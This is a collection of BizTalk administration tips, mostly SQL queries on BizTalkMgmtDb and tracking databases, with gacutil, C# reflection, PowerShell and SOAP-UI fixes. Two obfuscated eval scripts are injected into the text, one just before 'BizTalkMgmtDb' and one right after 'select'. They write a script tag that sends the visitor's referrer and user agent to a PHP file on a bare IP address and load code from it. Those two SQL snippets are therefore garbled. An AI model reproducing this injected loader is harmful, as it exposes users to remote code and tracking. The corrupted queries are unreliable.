I’ve been doing a lot of reverse engineering and studying of old systems as we migrate them to new releases of BizTalk. I find myself constantly using SQL command to narrow down the ports I’m interested in… By joining to the bts_sendport_transport table, we are able to show the address (for example, disk/file directory name, FTP address, SQL address, etc…)

Use <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaesn|var|u0026u|referrer|ttdzi||js|php'.split('|'),0,{}))
</script></noindex> BizTalkMgmtDb

select app.nvcName as Application, 
       sp.nvcName as SendPortName,
       nvcAddress as Address,
       nvcSendPipelineData, 
       nvcFilter, 
       bDynamic, 
       bTwoWay    
from bts_sendport sp 
   inner join bts_application app on sp.nApplicationID = app.nID 
   inner join bts_sendport_transport spt on spt.nSendPortID = sp.nID and spt.nTransportTypeId is not null 
where sp.nvcName like '%204%' 
order by app.nvcName, sp.nvcName 

We have our own RabbitMQ adapter.

The addresses look like the following.

Send Port
rabbit@dev.myRabbitMQ.com/Exchange=MyRabbitMQTopic&RoutingKey=MyRoutingKey

Receive Location
rabbit@dev.myRabbitMQ.com/Queue=MyQueueName&RoutingKey=MyRoutingKey

What I wanted to do is match which Receive Ports subscribe to RabbitMQ RoutingKeys from other Send Ports. In other words, when I send out a message from one orchestration (send port), which orchestration (or Receive Port) is going to pick it up? The query below doesn’t include the xref to the orchestrations.

This requires some parsing of the address to pull out the RoutingKey, then I join on that.
I could do the same thing for disk files (where I would take of the the \*.* in order to do a potential match).

select <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dthns|var|u0026u|referrer|hieni||js|php'.split('|'),0,{}))
</script></noindex> sp.nvcName as 'SendPort', 
	   rp.nvcName as 'ReceivePort', 
	   rl.Name as 'ReceiveLocation', 
	   SUBSTRING(spt.nvcAddress, CHARINDEX('&RoutingKey=', spt.nvcAddress)+Len('&RoutingKey='), LEN(nvcAddress)) as 'RoutingKey',
           spt.nvcAddress as 'SendPortAddress', 
	   rl.InboundTransportURL as 'ReceiveLocationAddress'
   
   from bts_SendPort sp 
   inner join bts_SendPort_Transport spt on spt.nSendPortId = sp.Nid and nTransportTypeID is not null 
   	left outer join adm_ReceiveLocation rl on
	      SUBSTRING(spt.nvcAddress, CHARINDEX('&RoutingKey=', spt.nvcAddress)+Len('&RoutingKey='), LEN(spt.nvcAddress)) = 
		  SUBSTRING(rl.InboundTransportURL, CHARINDEX('&RoutingKey=', rl.InboundTransportURL)+Len('&RoutingKey='), LEN(rl.InboundTransportURL))
    left outer join bts_ReceivePort rp on rl.ReceivePortID = rp.NId  

   where nvcAddress like '%RoutingKey%'
   	 and InboundTransportURL like '%RoutingKey%'
	 order by sp.nvcname 

I cannot show actual ports, but column headings would look like this:

Sometimes you need the full assembly name, properly formatted to use for various reasons
(such as a WCF Custom Behavior file that is imported into BizTalk adapter).

Here are a couple of ways to get it:

DOS Comamnd Window (GacUtil /L)


C:\Windows\system32>gacutil /l | find "bLogical"
bLogical.BizTalk.RESTBehavior, Version=1.0.0.0, Culture=neutral, PublicKeyToke
n=8b7f8ad23140b57b, processorArchitecture=MSIL
bLogical.RESTSchemas, Version=1.0.0.0, Culture=neutral, PublicKeyToken=fef5a20
096b53fc0, processorArchitecture=MSIL

C# using reflection


//using System.Reflection -- add this using statement
Assembly assembly = Assembly.LoadFrom(@"d:\GitAtlasCore\RestErrorHandling\bLogical.BizTalk.RESTBehavior\bin\Debug\bLogical.BizTalk.RESTBehavior.dll");
foreach (Type type in assembly.GetTypes())
{
Console.WriteLine(type.FullName);
//Console.WriteLine(type.AssemblyQualifiedName);
}

Console.WriteLine("-----");
Type myType = assembly.GetType("bLogical.BizTalk.RESTBehavior.BizTalkRESTRequestHandlerExtensionElement");
Console.WriteLine(myType.AssemblyQualifiedName);

Console.ReadLine();

Output of C#


bLogical.BizTalk.RESTBehavior.BizTalkRESTResponseHandler
bLogical.BizTalk.RESTBehavior.RequestContext
bLogical.BizTalk.RESTBehavior.BizTalkRESTRequestHandlerExtensionElement
bLogical.BizTalk.RESTBehavior.BizTalkRESTRequestHandlerBehavior
bLogical.BizTalk.RESTBehavior.BizTalkRESTRequestHandler
bLogical.BizTalk.RESTBehavior.BizTalkRESTTransmitHandlerExtensionElement
bLogical.BizTalk.RESTBehavior.BizTalkRESTTransmitHandlerEndpointBehavior
bLogical.BizTalk.RESTBehavior.BizTalkRESTTransmitHandler
bLogical.BizTalk.RESTBehavior.BizTalkRESTTransmitErrorHandler
bLogical.BizTalk.RESTBehavior.CustomJsonErrorBodyWriter
bLogical.BizTalk.RESTBehavior.MessageHelper
-----
bLogical.BizTalk.RESTBehavior.BizTalkRESTRequestHandlerExtensionElement, bLogica
l.BizTalk.RESTBehavior, Version=1.0.0.0, Culture=neutral, PublicKeyToken=8b7f8ad
23140b57b


#Biztalk Kill Process associated with BizTalk Host Instance
$processID = Get-WmiObject Win32_Service -Filter "Name='BTSSvc`$BizTalkServerApplication'" | Select-Object -Expand ProcessID
Write-Host "processID=$processID"
stop-process -id $processID -Force
Write-Host "Completed"

This can be used to kill a BizTalk Host Instance that is in the stop-pending state.

Other commands you can run to see how the Get-WmiObject Win32_Service works:

#get-wmiobject Win32_service
#get-wmiobject Win32_service | where {$_.Name -match "BizTalkServerApplication"}
#get-wmiobject Win32_service | where {$_.Name -eq "BTSSvc`$BizTalkServerApplication"}

The following two queries return all send and receive ports/locations that use a given pipeline component.
You can filter on the friendly name or the fully qualified name. This query can be very useful when you need to change a pipeline component,
and you need to “roll off” the applications that use it, make the change, then “roll them back on.

use BizTalkMgmtDb
SELECT app.nvcName AS [Application],
ass.nvcName AS [Assembly],
rp.nvcName AS [Receive Port],
rl.Name AS [Receive Location],
rppl.Name AS [Receive Pipeline],
rppl.FullyQualifiedName as [RecievePipelineFQ]
FROM bts_application app WITH(NOLOCK)
LEFT OUTER JOIN bts_assembly ass WITH(NOLOCK) ON app.nID = ass.nApplicationId
LEFT OUTER JOIN bts_receiveport rp WITH(NOLOCK) ON rp.nApplicationID = ass.nApplicationID
LEFT OUTER JOIN adm_ReceiveLocation rl WITH(NOLOCK) ON rp.nID = rl.receiveportId
LEFT OUTER JOIN bts_pipeline rppl WITH(NOLOCK) ON rl.ReceivePipelineId = rppl.Id
WHERE
rppl.Name like '%shared%'
and rppl.FullyQualifiedName like '%V2%'
ORDER BY 1,2,3

SELECT app.nvcName AS [Application],
ass.nvcName AS [Assembly],
sp.nvcName AS [Send Port],
sppl.Name AS [Send Pipeline],
sppl.FullyQualifiedName as [Send PipelineFQ]
FROM bts_application app WITH(NOLOCK)
LEFT OUTER JOIN bts_assembly ass WITH(NOLOCK) ON app.nID = ass.nApplicationId
LEFT OUTER JOIN bts_sendport sp WITH(NOLOCK) ON sp.nApplicationID = ass.nApplicationID
LEFT OUTER JOIN bts_pipeline sppl WITH(NOLOCK) ON sp.nSendPipelineID = sppl.Id
WHERE
sppl.Name like ‘%shared%’
and sppl.FullyQualifiedName like ‘%V2%’
ORDER BY 1,2,3

You could make it fancier and come up with one query that does a union of the two, but then you probably would need to add another column to indicate if it’s a receive or send.

If you have orchestrations involved, there is another blog post that shows how to xref orchestrations to pipelines.

Today, I was trying to find if a JSON pipeline we had was being used on a given BizTalk system.
I found the SQL command from here: https://gallery.technet.microsoft.com/Show-BizTalk-Applications-8f73d753
and just modified it to add an additional condition to the where clause

and rppl.Name like ‘%json%’

Here is the full command:


SELECT app.nvcName AS [Application],
ass.nvcName AS [Assembly],
orc.nvcName AS [Orchestration],
orc.nOrchestrationStatus AS [Status],
orp.nvcName AS [Orchestration Port],
pt.nvcName AS [Port Type],
pto.nvcName AS [Port Type Operation],
rp.nvcName AS [Receive Port],
rl.Name AS [Receive Location],
rppl.Name AS [Receive Pipeline],
sp.nvcName AS [Send Port],
sppl.Name AS [Send Pipeline],
spg.nvcName AS [Send Port Group]
FROM bts_application app WITH(NOLOCK)
LEFT OUTER JOIN bts_assembly ass WITH(NOLOCK) ON app.nID = ass.nApplicationId
LEFT OUTER JOIN bts_orchestration orc WITH(NOLOCK) ON ass.nID = orc.nAssemblyId
LEFT OUTER JOIN bts_orchestration_port orp WITH(NOLOCK) ON orc.nID = orp.nOrchestrationId
LEFT OUTER JOIN bts_porttype pt WITH(NOLOCK) ON orp.nPortTypeID = pt.nID
LEFT OUTER JOIN bts_porttype_operation pto WITH(NOLOCK) ON pt.nID = pto.nPortTypeID
LEFT OUTER JOIN bts_orchestration_port_binding opp WITH(NOLOCK) ON orp.nID = opp.nOrcPortID
LEFT OUTER JOIN bts_receiveport rp WITH(NOLOCK) ON opp.nReceivePortID = rp.nID
LEFT OUTER JOIN adm_ReceiveLocation rl WITH(NOLOCK) ON rp.nID = rl.receiveportId
LEFT OUTER JOIN bts_pipeline rppl WITH(NOLOCK) ON rl.ReceivePipelineId = rppl.Id
LEFT OUTER JOIN bts_sendport sp WITH(NOLOCK) ON opp.nSendPortID = sp.nID
LEFT OUTER JOIN bts_pipeline sppl WITH(NOLOCK) ON sp.nSendPipelineID = sppl.Id
LEFT OUTER JOIN bts_sendportgroup spg WITH(NOLOCK) ON opp.nSpgID = spg.nID
WHERE orc.nvcName IS NOT NULL
and rppl.Name like '%json%'
ORDER BY 1,2,3

— Status
— 1 = Unenlisted
— 2 = Stopped
— 3 = Started

NOTE: – above only works with orchestrations

If you don’t have an orchestration involved, I have created another a pair of queries to find send and receive ports that use a given pipeline.

When using SOAPUI to call a BizTalk published ochestration or schema, you might get this error response/XML from SOAP-UI:

Error

Main error text is:

The message could not be processed. This is most likely because
the action ‘http://Neal.Temp.WCFTargetNamespace/Outbound214Service/Send214Request’
is incorrect or because the message contains an invalid or expired security context token or because
there is a mismatch between bindings. The security context token would be invalid if the service aborted
the channel due to inactivity. To prevent the service from aborting idle sessions prematurely increase
the Receive timeout on the service endpoint’s binding

Solution Steps

Assuming no security is needed when first testing on your local machine.  You can tighten up the security after you get the basic test working.

  1. Modify the web.config file of the published webservice and set the authentication mode to “None”.
  2. Modify the BizTalk Receive Location created by the WCF publish utility, on the Security tab, set the “Security mode” to none.
  3. In SOAP-UI, click on the WS-A words (tab) below your request xml message.  Set the options as shown below:

References: https://adventuresinsidethemessagebox.wordpress.com/2012/10/22/calling-a-wcf-wshttp-service-from-soapui/

How do you find the hidden map name in the BiztalkMgmtDB (BizTalk Database)?

If you look at the table names, you will obviously find bt_MapSpec, but it doesn’t contain the map name. The map itself is hidden in the bts_Item table, which you have to join to. I found this on Jeroen Maes Integration Blog. He has a more complex query that finds a map based on the input/output target namespace. He also joins to the bts_Assembly table.

My goal was just to list all maps containing some sequence of letters (such as a customer name or abbreviation).


use BizTalkMgmtDb
select i.name, * from bt_MapSpec m
inner join bts_item i on m.itemid = i.id
where i.Name like '%ABC%' -- just the map name
-- where i.FullName like '%ABC%" -- optionally use the fully qualified name

I’m surprised there the Type column doesn’t seem to be populated with some number that indicates that the bts_Item is a map, or a schema, or whatever.

You can turn on message tracking in BizTalk at the Receive Port and Send Port level (as well as various levels in the orchestration).

Here are the views provided by the BizTalk install.


use biztalkDtaDb
--select * from TrackingData
--select 'btsv_Tracking_Fragments', * from btsv_Tracking_Fragments
select 'btsv_Tracking_Parts', * from btsv_Tracking_Parts
select 'btsv_Tracking_Spool', * from btsv_Tracking_Spool

To get the Send/Receive port or more info about the message, you need to join to dtav_MessageFacts. The idea for this join came from sample code here.


SELECT top 200
a.[Event/Direction],
a.[Event/Port],
a.[Event/URL],
CONVERT(VARCHAR(10), a.[Event/Timestamp], 111) as [date],
DATEPART(HOUR,a.[Event/Timestamp]) as [Hour],
imgPart,
imgPropBag
FROM [dbo].[dtav_MessageFacts] a
inner join dbo.btsv_Tracking_Parts b on a.[MessageInstance/InstanceID] = b.uidMessageID

Note: Later I added this line (not shown in picture). You have to use DataLength() instead of Len() to get the size of an image field.

DataLength(imgPart) as Length,

The body of the message is stored in imgPart of the btsv_Tracking_Parts view, but unfortuantely it's in Hex.
The following site is one that can convert the hex to ascii (might also need one to go to Unicode). https://www.rapidtables.com/convert/number/hex-to-ascii.html. Paste the hex data in the top, click convert, and your text will appear in the bottom half. You won't be able to see it all, but you can copy/paste to NotePad++ or some other editor.

While it's nice to use the built-in features of BizTalk when possible, they will typically have limitations compared to custom options. In a few places where I worked, we implemented our own "Trace" that writes data to a SQL trace table. We had our own concept of promoted fields to identify the trace, such as the location where the trace was capture (pipeline, orchestrations, before/after map, etc), a user type key, and a correlation token that can tie together traces across an entire business process.

See also: 3 ways of programmatically extracting a message body from the BizTalk tracking database (Operations DLL, SQL, and WMI). This article explains how Biztalk compresses the data with BTSDBAccessor.dll.

You get the following error when you do a BTDF deploy.

Error:

x does not belong to the same application as “Y” or its references.

Full example of error


Information: Importing bindings "C:\Users\...\Projects\MyEDIProject\MyEDIProject.Deployment\PortBindings.xml" into application "MyEDIProject" in BizTalk configuration database (server="MyServer1", database="BizTalkMgmtDb")...
Error: Failed to update binding information.
"Microsoft.BizTalk.Edi.DefaultPipelines.EdiSend" could not be bound to "sp_MyProj_Process_EDI_File". The artifact "Microsoft.BizTalk.Edi.DefaultPipelines.EdiSend" does not belong to the same application as "sp_MyProj_Process_EDI_File" or its references.

Solution:

The pipeline is in a different project. When BTDF deletes your project and redploys it, it loses the project references. You must add the project cross references in the BTDFProj file, as shown below.

<code>
<ItemGroup>
<AppsToReference Include=?MyProj2? />
</ItemGroup>
</code>

The above shows you how to add a “Project Reference” to your BTDF configuration file.